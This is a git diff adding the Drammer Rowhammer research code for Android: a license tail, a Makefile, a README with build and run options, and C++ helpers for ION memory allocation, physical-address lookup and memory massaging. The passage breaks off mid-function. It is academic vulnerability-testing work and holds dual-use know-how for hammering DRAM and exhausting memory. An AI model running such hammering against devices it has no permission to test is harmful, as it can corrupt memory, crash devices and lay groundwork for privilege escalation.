| 74 | + 3. Grant of Patent License. Subject to the terms and conditions of | ||
| 75 | + this License, each Contributor hereby grants to You a perpetual, | ||
| 76 | + worldwide, non-exclusive, no-charge, royalty-free, irrevocable | ||
| 77 | + (except as stated in this section) patent license to make, have made, | ||
| 78 | + use, offer to sell, sell, import, and otherwise transfer the Work, | ||
| 79 | + where such license applies only to those patent claims licensable | ||
| 80 | + by such Contributor that are necessarily infringed by their | ||
| 81 | + Contribution(s) alone or by combination of their Contribution(s) | ||
| 82 | + with the Work to which such Contribution(s) was submitted. If You | ||
| 83 | + institute patent litigation against any entity (including a | ||
| 84 | + cross-claim or counterclaim in a lawsuit) alleging that the Work | ||
| 85 | + or a Contribution incorporated within the Work constitutes direct | ||
| 86 | + or contributory patent infringement, then any patent licenses | ||
| 87 | + granted to You under this License for that Work shall terminate | ||
| 88 | + as of the date such litigation is filed. | ||
| 89 | + | ||
| 90 | + 4. Redistribution. You may reproduce and distribute copies of the | ||
| 91 | + Work or Derivative Works thereof in any medium, with or without | ||
| 92 | + modifications, and in Source or Object form, provided that You | ||
| 93 | + meet the following conditions: | ||
| 94 | + | ||
| 95 | + (a) You must give any other recipients of the Work or | ||
| 96 | + Derivative Works a copy of this License; and | ||
| 97 | + | ||
| 98 | + (b) You must cause any modified files to carry prominent notices | ||
| 99 | + stating that You changed the files; and | ||
| 100 | + | ||
| 101 | + (c) You must retain, in the Source form of any Derivative Works | ||
| 102 | + that You distribute, all copyright, patent, trademark, and | ||
| 103 | + attribution notices from the Source form of the Work, | ||
| 104 | + excluding those notices that do not pertain to any part of | ||
| 105 | + the Derivative Works; and | ||
| 106 | + | ||
| 107 | + (d) If the Work includes a "NOTICE" text file as part of its | ||
| 108 | + distribution, then any Derivative Works that You distribute must | ||
| 109 | + include a readable copy of the attribution notices contained | ||
| 110 | + within such NOTICE file, excluding those notices that do not | ||
| 111 | + pertain to any part of the Derivative Works, in at least one | ||
| 112 | + of the following places: within a NOTICE text file distributed | ||
| 113 | + as part of the Derivative Works; within the Source form or | ||
| 114 | + documentation, if provided along with the Derivative Works; or, | ||
| 115 | + within a display generated by the Derivative Works, if and | ||
| 116 | + wherever such third-party notices normally appear. The contents | ||
| 117 | + of the NOTICE file are for informational purposes only and | ||
| 118 | + do not modify the License. You may add Your own attribution | ||
| 119 | + notices within Derivative Works that You distribute, alongside | ||
| 120 | + or as an addendum to the NOTICE text from the Work, provided | ||
| 121 | + that such additional attribution notices cannot be construed | ||
| 122 | + as modifying the License. | ||
| 123 | + | ||
| 124 | + You may add Your own copyright statement to Your modifications and | ||
| 125 | + may provide additional or different license terms and conditions | ||
| 126 | + for use, reproduction, or distribution of Your modifications, or | ||
| 127 | + for any such Derivative Works as a whole, provided Your use, | ||
| 128 | + reproduction, and distribution of the Work otherwise complies with | ||
| 129 | + the conditions stated in this License. | ||
| 130 | + | ||
| 131 | + 5. Submission of Contributions. Unless You explicitly state otherwise, | ||
| 132 | + any Contribution intentionally submitted for inclusion in the Work | ||
| 133 | + by You to the Licensor shall be under the terms and conditions of | ||
| 134 | + this License, without any additional terms or conditions. | ||
| 135 | + Notwithstanding the above, nothing herein shall supersede or modify | ||
| 136 | + the terms of any separate license agreement you may have executed | ||
| 137 | + with Licensor regarding such Contributions. | ||
| 138 | + | ||
| 139 | + 6. Trademarks. This License does not grant permission to use the trade | ||
| 140 | + names, trademarks, service marks, or product names of the Licensor, | ||
| 141 | + except as required for reasonable and customary use in describing the | ||
| 142 | + origin of the Work and reproducing the content of the NOTICE file. | ||
| 143 | + | ||
| 144 | + 7. Disclaimer of Warranty. Unless required by applicable law or | ||
| 145 | + agreed to in writing, Licensor provides the Work (and each | ||
| 146 | + Contributor provides its Contributions) on an "AS IS" BASIS, | ||
| 147 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or | ||
| 148 | + implied, including, without limitation, any warranties or conditions | ||
| 149 | + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A | ||
| 150 | + PARTICULAR PURPOSE. You are solely responsible for determining the | ||
| 151 | + appropriateness of using or redistributing the Work and assume any | ||
| 152 | + risks associated with Your exercise of permissions under this License. | ||
| 153 | + | ||
| 154 | + 8. Limitation of Liability. In no event and under no legal theory, | ||
| 155 | + whether in tort (including negligence), contract, or otherwise, | ||
| 156 | + unless required by applicable law (such as deliberate and grossly | ||
| 157 | + negligent acts) or agreed to in writing, shall any Contributor be | ||
| 158 | + liable to You for damages, including any direct, indirect, special, | ||
| 159 | + incidental, or consequential damages of any character arising as a | ||
| 160 | + result of this License or out of the use or inability to use the | ||
| 161 | + Work (including but not limited to damages for loss of goodwill, | ||
| 162 | + work stoppage, computer failure or malfunction, or any and all | ||
| 163 | + other commercial damages or losses), even if such Contributor | ||
| 164 | + has been advised of the possibility of such damages. | ||
| 165 | + | ||
| 166 | + 9. Accepting Warranty or Additional Liability. While redistributing | ||
| 167 | + the Work or Derivative Works thereof, You may choose to offer, | ||
| 168 | + and charge a fee for, acceptance of support, warranty, indemnity, | ||
| 169 | + or other liability obligations and/or rights consistent with this | ||
| 170 | + License. However, in accepting such obligations, You may act only | ||
| 171 | + on Your own behalf and on Your sole responsibility, not on behalf | ||
| 172 | + of any other Contributor, and only if You agree to indemnify, | ||
| 173 | + defend, and hold each Contributor harmless for any liability | ||
| 174 | + incurred by, or claims asserted against, such Contributor by reason | ||
| 175 | + of your accepting any such warranty or additional liability. | ||
| 176 | + | ||
| 177 | + END OF TERMS AND CONDITIONS | ||
| 178 | + | ||
| 179 | + APPENDIX: How to apply the Apache License to your work. | ||
| 180 | + | ||
| 181 | + To apply the Apache License to your work, attach the following | ||
| 182 | + boilerplate notice, with the fields enclosed by brackets "[]" | ||
| 183 | + replaced with your own identifying information. (Don't include | ||
| 184 | + the brackets!) The text should be enclosed in the appropriate | ||
| 185 | + comment syntax for the file format. We also recommend that a | ||
| 186 | + file or class name and description of purpose be included on the | ||
| 187 | + same "printed page" as the copyright notice for easier | ||
| 188 | + identification within third-party archives. | ||
| 189 | + | ||
| 190 | + Copyright [yyyy] [name of copyright owner] | ||
| 191 | + | ||
| 192 | + Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 193 | + you may not use this file except in compliance with the License. | ||
| 194 | + You may obtain a copy of the License at | ||
| 195 | + | ||
| 196 | + http://www.apache.org/licenses/LICENSE-2.0 | ||
| 197 | + | ||
| 198 | + Unless required by applicable law or agreed to in writing, software | ||
| 199 | + distributed under the License is distributed on an "AS IS" BASIS, | ||
| 200 | + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 201 | + See the License for the specific language governing permissions and | ||
| 202 | + limitations under the License. |
exploits/drammer/Makefile
0 → 100644
| 1 | +++ a/exploits/drammer/Makefile | ||
| 1 | +## | ||
| 2 | + # Copyright 2016, Victor van der Veen | ||
| 3 | + # | ||
| 4 | + # Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + # you may not use this file except in compliance with the License. | ||
| 6 | + # You may obtain a copy of the License at | ||
| 7 | + # | ||
| 8 | + # http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + # | ||
| 10 | + # Unless required by applicable law or agreed to in writing, software | ||
| 11 | + # distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + # See the License for the specific language governing permissions and | ||
| 14 | + # limitations under the License. | ||
| 15 | + ## | ||
| 16 | + | ||
| 17 | +STANDALONE_TOOLCHAIN ?= /home/imanol/devel/android-ndk/toolchains/default-arm-toolchain/prebuilt/linux-x86_64/bin | ||
| 18 | +#$(HOME)/src/android-ndk-r11c/sysroot-arm/bin | ||
| 19 | + | ||
| 20 | +CC = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-gcc | ||
| 21 | +CXX = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-g++ | ||
| 22 | +CPP = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-g++ | ||
| 23 | +STRIP = $(STANDALONE_TOOLCHAIN)/arm-linux-androideabi-strip | ||
| 24 | + | ||
| 25 | +CPPFLAGS = -std=c++11 -O3 -Wall | ||
| 26 | +LDFLAGS = -pthread -static | ||
| 27 | +INCLUDES = -I$(PWD)/../include | ||
| 28 | + | ||
| 29 | +TMPDIR = /data/local/tmp/ | ||
| 30 | +TARGET ?= rh-test | ||
| 31 | + | ||
| 32 | +all: $(TARGET) | ||
| 33 | + | ||
| 34 | +rh-test: rh-test.o ion.o rowsize.o templating.o massage.o | ||
| 35 | + $(CPP) $(CPPFLAGS) -o $@ $^ $(LDFLAGS) | ||
| 36 | + $(STRIP) $@ | ||
| 37 | + | ||
| 38 | +%.o: %.cc | ||
| 39 | + $(CPP) $(CPPFLAGS) $(INCLUDES) -c -o $@ $< | ||
| 40 | + | ||
| 41 | +install: | ||
| 42 | + make all | ||
| 43 | + adb push $(TARGET) $(TMPDIR) | ||
| 44 | + adb shell chmod 755 $(TMPDIR)$(TARGET) | ||
| 45 | + | ||
| 46 | +clean: | ||
| 47 | + rm -f $(TARGET) *.o a.out | ||
| 48 | + | ||
| 49 | +upload: | ||
| 50 | + scp rh-test vvdveen.com:/home/vvdveen/www/drammer/rh-test | ||
| 51 | + | ||
| 52 | + | ||
| 53 | +reboot: | ||
| 54 | + adb reboot | ||
| 55 | + | ||
| 56 | +test: | ||
| 57 | + adb shell "$(TMPDIR)$(TARGET) -f/data/local/tmp/out.txt" |
exploits/drammer/README.md
0 → 100644
| 1 | +++ a/exploits/drammer/README.md | ||
| 1 | +# Drammer | ||
| 2 | +This software is the open-source component of our paper "Drammer: Deterministic | ||
| 3 | +Rowhammer Attacks on Mobile Devices", published in ACM Computer and | ||
| 4 | +Communications Security (CCS) 2016. It allows you to test whether an Android | ||
| 5 | +device is vulnerable to the Rowhammer bug. It does **not** allow you to root | ||
| 6 | +your device. | ||
| 7 | + | ||
| 8 | +This code base contains our *native*, C/C++-based mobile Rowhammer | ||
| 9 | +test implementation. | ||
| 10 | + | ||
| 11 | +# Disclaimer | ||
| 12 | +If, for some weird reason, you think running this code broke your device, you | ||
| 13 | +get to keep both pieces. | ||
| 14 | + | ||
| 15 | +# Android GUI app | ||
| 16 | +If you don't want to build the test yourself, we also provide an | ||
| 17 | +[Android app](https://vvdveen.com/drammer/drammer.apk) as a GUI for the native | ||
| 18 | +component that may or may not be currently available on the | ||
| 19 | +[Google Play Store](https://play.google.com/store/apps/details?id=org.iseclab.drammer) | ||
| 20 | +depending on the store's policy. | ||
| 21 | + | ||
| 22 | +The app supports *relaxed* and *aggressive* hammering, which corresponds to the | ||
| 23 | +number of seconds to run 'defrag' (-d command line option described below): you | ||
| 24 | +can choose a timeout between 0 (no defrag) and 60 seconds, although higher | ||
| 25 | +timeouts likely cause the app to become unresponsive. | ||
| 26 | + | ||
| 27 | +The app optionally collects basic statistics on the type of device and test | ||
| 28 | +results so that we can gain insights into the number and type of vulnerable | ||
| 29 | +devices in the wild, so please consider sharing them for science. | ||
| 30 | + | ||
| 31 | +# Native installation | ||
| 32 | +To build the native binary, you need an Android NDK toolchain. I used | ||
| 33 | +android-ndk-r11c: | ||
| 34 | + | ||
| 35 | + wget https://dl.google.com/android/repository/android-ndk-r11c-linux-x86_64.zip | ||
| 36 | + unzip android-ndk-r11c-linux-x86_64.zip | ||
| 37 | + cd android-ndk-r11c | ||
| 38 | + ./build/tools/make-standalone-toolchain.sh --ndk-dir=`pwd` \ | ||
| 39 | + --arch=arm --platform=android-24 \ | ||
| 40 | + --install-dir=./sysroot-arm/ \ | ||
| 41 | + --verbose | ||
| 42 | + | ||
| 43 | +You can then build the program setting `STANDALONE_TOOLCHAIN` variable to point | ||
| 44 | +to the toolchain: | ||
| 45 | + | ||
| 46 | + STANDALONE_TOOLCHAIN=path/to/android-ndk-r11c/sysroot-arm/bin make | ||
| 47 | + | ||
| 48 | +This gives you a stripped ARMv7 binary that you can run on both ARMv7 (32-bit) | ||
| 49 | +and ARMv8 (64-bit) devices. The Makefile provides an install feature that uses | ||
| 50 | +the Android Debug Bridge (adb) to push the binary to your device's | ||
| 51 | +/data/local/tmp/ directory. You can install adb by doing a `sudo apt-get install | ||
| 52 | +android-tools-adb` (on Ubuntu) or by installing the Android SDK via | ||
| 53 | +[android.com](https://developer.android.com/studio/index.html#downloads). Then | ||
| 54 | +do a: | ||
| 55 | + | ||
| 56 | + make install | ||
| 57 | + make test | ||
| 58 | + | ||
| 59 | +to install and start the Rowhammer test binary. Once installed, you may also | ||
| 60 | +invoke it from the shell directly: | ||
| 61 | + | ||
| 62 | + adb shell | ||
| 63 | + cd /data/local/tmp | ||
| 64 | + ./rh-test | ||
| 65 | + | ||
| 66 | +## Command line options | ||
| 67 | +The native binary provides a number of command line options: | ||
| 68 | + | ||
| 69 | +* *-a* | ||
| 70 | + Do templating with all patterns. Without this option, only the patterns *010* | ||
| 71 | + and *101* are used, meaning that we hammer each row twice: once with it's | ||
| 72 | + aggressor rows containing all zeros while the victim row holds only ones, and | ||
| 73 | + once with the aggressor rows holding ones while the victim consists of zeros | ||
| 74 | + only. Enabling this option hammers each row with the following configurations: | ||
| 75 | + *000*, *001*, *010*, *011*, *100*, *101*, *110*, *111*, *00r*, *0r0*, *0rr*, | ||
| 76 | + *r00*, *r0r*, *rr0*, *rrr* (where *r* is random and changed every 100 | ||
| 77 | + iterations). | ||
| 78 | + | ||
| 79 | +- *-c <number>* | ||
| 80 | + Number of memory accesses per hammer round, defaults to 1000000. It is | ||
| 81 | + said that 2500000 yields the most flips. | ||
| 82 | + | ||
| 83 | +- *-d <seconds>* | ||
| 84 | + Number of seconds to run 'defrag' (disabled by default). This tricks the | ||
| 85 | + system into freeing more ION memory that can be used for templating. Since | ||
| 86 | + Android tries to keep as many background processes in memory as possible, the | ||
| 87 | + amount of memory available for ION allocations may be very small (all of the | ||
| 88 | + memory is either in use, or cached in the operating system). By allocating | ||
| 89 | + many ION chunks, this option forces Android's low memory killer to kill | ||
| 90 | + background processes, giving us more (contiguous) memory to hammer in the | ||
| 91 | + templating phase. | ||
| 92 | + Use this option with caution: setting it too high likely hangs your device and | ||
| 93 | + trigger a reboot. My advice is to first try without *-d* (or with *-d0*), see | ||
| 94 | + how much memory you get, if not enough, hit `CTRL^C`, and restart with *-d3*. | ||
| 95 | + If this still does not give you enough memory, I usually repeat the sequence | ||
| 96 | + of breaking with `CTRL^C` and restarting with *-d3* again in favor of using a | ||
| 97 | + higher timeout value. To answer the question of "how much is enough": on a | ||
| 98 | + Nexus 5, that comes with 2GB of memory, you should be able to get 400 to 600 | ||
| 99 | + MB of ION memory. | ||
| 100 | + | ||
| 101 | +- *-f <file path>* | ||
| 102 | + Write results not only to stdout but also to this file. | ||
| 103 | + | ||
| 104 | +- *-h* | ||
| 105 | + Dump the help screen. | ||
| 106 | + | ||
| 107 | +- *-i* | ||
| 108 | + Run an ION heap-type detector function. | ||
| 109 | + | ||
| 110 | +- *-q <cpu>* | ||
| 111 | + Pin the program to this CPU. Some big.LITTLE architectures require you to pin | ||
| 112 | + the program to a big core, to make sure memory accesses are as fast as | ||
| 113 | + possible. | ||
| 114 | + | ||
| 115 | +- *-r <bytes>* | ||
| 116 | + The rowsize in bytes. If this value is not provided, the program tries to find | ||
| 117 | + it using a timing side-channel (described in the paper) which may not always | ||
| 118 | + work. The most common value seems to be 65536 (64KB). | ||
| 119 | + | ||
| 120 | +- *-s* | ||
| 121 | + Hammer more conservatively. By default, we hammer each page, but this option | ||
| 122 | + moves less bytes (currently set to 64 bytes). | ||
| 123 | + | ||
| 124 | +- *-t <seconds>* | ||
| 125 | + Stop hammering after this many seconds. The default behavior is to hammer all | ||
| 126 | + memory that we were able to allocate. | ||
| 127 | + | ||
| 128 | +## Description of source files | ||
| 129 | +The native code base is written in C and abuses some C++ functionality. There | ||
| 130 | +are some comments in the source files that, combined with run-time output dumped | ||
| 131 | +on stdout, should give you an indication of what is happening. The main output | ||
| 132 | +of a run consists of numbers that indicate the average DRAM access time (in | ||
| 133 | +nanoseconds). | ||
| 134 | + | ||
| 135 | +What follows is a short description of all source files. | ||
| 136 | + | ||
| 137 | +- *Makefile* | ||
| 138 | + Build system. | ||
| 139 | + | ||
| 140 | +- *helper.h* | ||
| 141 | + Inline helper functions defined in a header file. | ||
| 142 | + | ||
| 143 | +- *ion.cc* and *ion.h* | ||
| 144 | + Implements all ION related functionality: allocate, share, and free. By using | ||
| 145 | + a custom *ION data* data structure defined in ion.h, we also provide some | ||
| 146 | + functions on top of these core ION ionctls: bulk (bulk allocations), mmap, | ||
| 147 | + clean, and clean_all. It is required to call ION_init() before performing any | ||
| 148 | + ION related operations, as this function takes care of opening the /dev/ion | ||
| 149 | + file and reads /proc/cpuinfo to determine which ION heap to use. Note that | ||
| 150 | + the latter functionality is likely incomplete. | ||
| 151 | + | ||
| 152 | +- *massage.cc* and *massage.h* | ||
| 153 | + Implements exhaust (used for exhausting ION chunks: allocate until nothing is | ||
| 154 | + left) and defrag functions. | ||
| 155 | + | ||
| 156 | +- *rh-test.cc* | ||
| 157 | + Implements main() and is in charge of parsing the command line options and | ||
| 158 | + starting a template session. | ||
| 159 | + | ||
| 160 | +- *rowsize.cc* and *rowsize.h* | ||
| 161 | + Implements the auto detect function for finding the rowsize (described in more | ||
| 162 | + detail in the paper, Sections 5.1 and 8.1, and Figure 3) | ||
| 163 | + | ||
| 164 | +- *templating.cc* and *templating.h* | ||
| 165 | + Implements the actual Rowhammer test and builds template_t data structures | ||
| 166 | + (defined in templating.h, which might include some redundant fields). The | ||
| 167 | + is_exploitable() function checks whether a given template is in fact | ||
| 168 | + exploitable with Drammer. The main function is TMPL_run which loops over all | ||
| 169 | + hammerable ION chunks. |
exploits/drammer/helper.h
0 → 100644
| 1 | +++ a/exploits/drammer/helper.h | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | +#ifndef __HELPER_H__ | ||
| 18 | +#define __HELPER_H__ | ||
| 19 | + | ||
| 20 | +#include <assert.h> | ||
| 21 | +#include <fcntl.h> | ||
| 22 | +#include <stdlib.h> | ||
| 23 | +#include <sys/stat.h> | ||
| 24 | +#include <sys/types.h> | ||
| 25 | + | ||
| 26 | +#include <algorithm> | ||
| 27 | +#include <cmath> | ||
| 28 | +#include <numeric> | ||
| 29 | + | ||
| 30 | +#define G(x) (x << 30) | ||
| 31 | +#define M(x) (x << 20) | ||
| 32 | +#define K(x) (x << 10) | ||
| 33 | + | ||
| 34 | +#define B_TO_ORDER(x) (ffs(x / 4096)-1) | ||
| 35 | +#define KB_TO_ORDER(x) (ffs(x / 4)-1) | ||
| 36 | +#define MB_TO_ORDER(x) (ffs(x * 256)-1) | ||
| 37 | + | ||
| 38 | +#define ORDER_TO_B(x) ((1 << x) * 4096) | ||
| 39 | +#define ORDER_TO_KB(x) ((1 << x) * 4) | ||
| 40 | +#define ORDER_TO_MB(x) ((1 << x) / 256) | ||
| 41 | + | ||
| 42 | +#define MAX_ORDER 10 | ||
| 43 | + | ||
| 44 | +#define BILLION 1000000000L | ||
| 45 | +#define MILLION 1000000L | ||
| 46 | + | ||
| 47 | +extern FILE *global_of; | ||
| 48 | + | ||
| 49 | +static inline uint64_t get_ns(void) { | ||
| 50 | + struct timespec t; | ||
| 51 | + clock_gettime(CLOCK_MONOTONIC, &t); | ||
| 52 | + return BILLION * (uint64_t) t.tv_sec + (uint64_t) t.tv_nsec; | ||
| 53 | +} | ||
| 54 | + | ||
| 55 | +static inline uint64_t get_ms(void) { | ||
| 56 | + struct timeval tv; | ||
| 57 | + gettimeofday(&tv, NULL); | ||
| 58 | + return MILLION * (uint64_t) tv.tv_sec + tv.tv_usec; | ||
| 59 | +} | ||
| 60 | + | ||
| 61 | +static int pagemap_fd = 0; | ||
| 62 | +static bool got_pagemap = true; | ||
| 63 | + | ||
| 64 | +static inline uintptr_t get_phys_addr(uintptr_t virtual_addr) { | ||
| 65 | + if (!got_pagemap) return 0; | ||
| 66 | + if (pagemap_fd == 0) { | ||
| 67 | + pagemap_fd = open("/proc/self/pagemap", O_RDONLY); | ||
| 68 | + if (pagemap_fd < 0) { | ||
| 69 | + got_pagemap = false; | ||
| 70 | + return 0; | ||
| 71 | + } | ||
| 72 | + } | ||
| 73 | + uint64_t value; | ||
| 74 | + off_t offset = (virtual_addr / PAGESIZE) * sizeof(value); | ||
| 75 | + int got = pread(pagemap_fd, &value, sizeof(value), offset); | ||
| 76 | + assert(got == 8); | ||
| 77 | + | ||
| 78 | + // Check the "page present" flag. | ||
| 79 | + if ((value & (1ULL << 63)) == 0) { | ||
| 80 | + printf("page not present? virtual address: %p | value: %p\n", virtual_addr, value); | ||
| 81 | + return 0; | ||
| 82 | + } | ||
| 83 | + | ||
| 84 | + uint64_t frame_num = (value & ((1ULL << 54) - 1)); | ||
| 85 | + return (frame_num * PAGESIZE) | (virtual_addr & (PAGESIZE-1)); | ||
| 86 | +} | ||
| 87 | + | ||
| 88 | +static inline uint64_t compute_median(std::vector<uint64_t> &v) { | ||
| 89 | + if (v.size() == 0) return 0; | ||
| 90 | + std::vector<uint64_t> tmp = v; | ||
| 91 | + size_t n = tmp.size() / 2; | ||
| 92 | + std::nth_element(tmp.begin(), tmp.begin()+n, tmp.end()); | ||
| 93 | + return tmp[n]; | ||
| 94 | +} | ||
| 95 | + | ||
| 96 | +static inline void print(const char *format, ...) { | ||
| 97 | + va_list args; | ||
| 98 | + va_start(args, format); | ||
| 99 | + vfprintf(stdout, format, args); | ||
| 100 | + if (global_of != NULL) vfprintf(global_of, format, args); | ||
| 101 | + va_end(args); | ||
| 102 | +} | ||
| 103 | + | ||
| 104 | +#endif // __HELPER_H__ |
exploits/drammer/ion.cc
0 → 100644
| 1 | +++ a/exploits/drammer/ion.cc | ||
| 1 | +/* | ||
| 2 | + * Copyright 2016, Victor van der Veen | ||
| 3 | + * | ||
| 4 | + * Licensed under the Apache License, Version 2.0 (the "License"); | ||
| 5 | + * you may not use this file except in compliance with the License. | ||
| 6 | + * You may obtain a copy of the License at | ||
| 7 | + * | ||
| 8 | + * http://www.apache.org/licenses/LICENSE-2.0 | ||
| 9 | + * | ||
| 10 | + * Unless required by applicable law or agreed to in writing, software | ||
| 11 | + * distributed under the License is distributed on an "AS IS" BASIS, | ||
| 12 | + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. | ||
| 13 | + * See the License for the specific language governing permissions and | ||
| 14 | + * limitations under the License. | ||
| 15 | + */ | ||
| 16 | + | ||
| 17 | +#include <assert.h> | ||
| 18 | +#include <fcntl.h> | ||
| 19 | +#include <stdint.h> | ||
| 20 | +#include <stdlib.h> | ||
| 21 | +#include <stdlib.h> | ||
| 22 | +#include <sys/ioctl.h> | ||
| 23 | +#include <sys/mman.h> | ||
| 24 | +#include <sys/stat.h> | ||
| 25 | +#include <sys/types.h> | ||
| 26 | +#include <unistd.h> | ||
| 27 | + | ||
| 28 | +#include <fstream> | ||
| 29 | +#include <iostream> | ||
| 30 | +#include <map> | ||
| 31 | +#include <numeric> | ||
| 32 | +#include <sstream> | ||
| 33 | +#include <vector> | ||
| 34 | + | ||
| 35 | +#include <linux/ion.h> | ||
| 36 | + | ||
| 37 | +#include "helper.h" | ||
| 38 | +#include "ion.h" | ||
| 39 | + | ||
| 40 | +int chipset; | ||
| 41 | +#define CHIPSET_MSM 21 | ||
| 42 | +#define CHIPSET_MEDIATEK 1 | ||
| 43 | +#define CHIPSET_EXYNOS 4 | ||
| 44 | +#define CHIPSET_MAKO 25 | ||
| 45 | +#define CHIPSET_TEGRA 2 | ||
| 46 | +#define CHIPSET_UNIVERSAL 1 | ||
| 47 | +#define CHIPSET_KIRIN 1 | ||
| 48 | +#define CHIPSET_SPREADTRUM 2 | ||
| 49 | +#define CHIPSET_QCT 22 | ||
| 50 | + | ||
| 51 | +int ion_fd; | ||
| 52 | +extern int rowsize; | ||
| 53 | + | ||
| 54 | +/********************************************** | ||
| 55 | + * Core ION wrappers | ||
| 56 | + **********************************************/ | ||
| 57 | +ion_user_handle_t ION_alloc(int len, int heap_id) { | ||
| 58 | + if (heap_id == -1 && len > M(4)) return 0; | ||
| 59 | + struct ion_allocation_data allocation_data; | ||
| 60 | + | ||
| 61 | + if (heap_id == -1) { | ||
| 62 | + allocation_data.heap_id_mask = (0x1 << chipset); | ||
| 63 | + } else { | ||
| 64 | + allocation_data.heap_id_mask = (0x1 << heap_id); | ||
| 65 | + } | ||
| 66 | + allocation_data.flags = 0; | ||
| 67 | + allocation_data.align = 0; | ||
| 68 | + allocation_data.len = len; | ||
| 69 | + int err = ioctl(ion_fd, ION_IOC_ALLOC, &allocation_data); | ||
| 70 | + if (err) return 0; | ||
| 71 | + return allocation_data.handle; | ||
| 72 | +} | ||
| 73 | +int ION_share(ion_user_handle_t handle) { | ||
| 74 | + struct ion_fd_data fd_data; | ||
| 75 | + fd_data.handle = handle; | ||
| 76 | + int err = ioctl(ion_fd, ION_IOC_SHARE, &fd_data); | ||
| 77 | + if (err) return -1; | ||
| 78 | + return fd_data.fd; | ||
| 79 | +} | ||
| 80 | +int ION_free(ion_user_handle_t handle) { | ||
| 81 | + struct ion_handle_data handle_data; | ||
| 82 | + handle_data.handle = handle; | ||
| 83 | + int err = ioctl(ion_fd, ION_IOC_FREE, &handle_data); | ||
| 84 | + if (err) return -1; | ||
| 85 | + return 0; | ||
| 86 | +} | ||
| 87 | + | ||
| 88 | +/********************************************** | ||
| 89 | + * Mmap a struct ion_data | ||
| 90 | + **********************************************/ | ||
| 91 | +int ION_mmap(struct ion_data *data, int prot, int flags, void *addr) { | ||
| 92 | + data->fd = ION_share(data->handle); | ||
| 93 | + if (data->fd < 0) { | ||
| 94 | + perror("Could not share"); | ||
| 95 | + return -1; | ||
| 96 | + //exit(EXIT_FAILURE); | ||
| 97 | + } | ||
| 98 | + | ||
| 99 | + if ( prot == -1) prot = PROT_READ | PROT_WRITE; | ||
| 100 | + if (flags == -1) flags = MAP_SHARED | MAP_POPULATE; | ||
| 101 | + | ||
| 102 | + data->mapping = mmap(addr, data->len, prot, flags, data->fd, 0); | ||
| 103 | + if (data->mapping == MAP_FAILED) { | ||
| 104 | + perror("Could not mmap"); | ||
| 105 | + exit(EXIT_FAILURE); | ||
| 106 | + } | ||
| 107 | + | ||
| 108 | + return 0; | ||
| 109 | +} | ||
| 110 | + | ||
| 111 | +/********************************************** | ||
| 112 | + * Free a struct ion_data | ||
| 113 | + **********************************************/ | ||
| 114 | +void ION_clean(struct ion_data *data) { | ||
| 115 | + if (data->mapping) { | ||
| 116 | + if (munmap(data->mapping, data->len)) { | ||
| 117 | + perror("Could not munmap"); | ||
| 118 | + exit(EXIT_FAILURE); | ||
| 119 | + } | ||
| 120 | + data->mapping = NULL; | ||
| 121 | + | ||
| 122 | + if (close(data->fd)) { | ||
| 123 | + perror("Could not close"); | ||
| 124 | + exit(EXIT_FAILURE); | ||
| 125 | + } | ||
| 126 | + } | ||
| 127 | + | ||
| 128 | + if (data->handle) { | ||
| 129 | + if (ION_free(data->handle)) { | ||
| 130 | + perror("Could not free"); | ||
| 131 | + exit(EXIT_FAILURE); | ||
| 132 | + } | ||
| 133 | + data->handle = 0; | ||
| 134 | + } | ||
| 135 | +} | ||
| 136 | + | ||
| 137 | +/********************************************** | ||
| 138 | + * Allocate ION chunks in bulk | ||
| 139 | + **********************************************/ | ||
| 140 | + | ||
| 141 | +/* Our java app will send a SIGUSR1 signal if the system is low on memory. This | ||
| 142 | + * probably requires a bit more debugging... */ | ||
| 143 | + | ||
| 144 | +bool lowmem; | ||
| 145 | +void lowmem_handler(int signal) { | ||
| 146 | + print("LOW MEMORY!\n"); | ||
| 147 | + lowmem = true; | ||
| 148 | +} | ||
| 149 | + | ||
| 150 | +int ION_bulk(int len, std::vector<struct ion_data *> &chunks, int max, bool mmap) { | ||
| 151 | + lowmem = false; | ||
| 152 | + signal(SIGUSR1, lowmem_handler); | ||
| 153 | + | ||
| 154 | + int count = 0; | ||
| 155 | + while (true) { | ||
| 156 | + struct ion_data *data = new ion_data; | ||
| 157 | + if (data == NULL) { | ||
| 158 | + perror("Could not malloc"); | ||
| 159 | + exit(EXIT_FAILURE); | ||
| 160 | + } | ||
| 161 | + | ||
| 162 | + data->handle = ION_alloc(len); | ||
| 163 | + if (data->handle == 0) { | ||
| 164 | + /* Could not allocate, probably exhausted the ion chunks */ | ||
| 165 | + free(data); | ||
| 166 | + break; | ||
| 167 | + } | ||
| 168 | + data->len = len; | ||
| 169 | + | ||
| 170 | + if (mmap) { | ||
| 171 | + int ret = ION_mmap(data); | ||
| 172 | + if (ret < 0) { | ||
| 173 | + break; | ||
| 174 | + } | ||
| 175 | + } else { | ||
| 176 | + data->mapping = NULL; | ||
| 177 | + } | ||
| 178 | + | ||
| 179 | + data->hammerable_rows.clear(); | ||
| 180 | + | ||
| 181 | + chunks.push_back(data); | ||
| 182 | + count++; | ||
| 183 | + if (max > 0 && count >= max) break; | ||
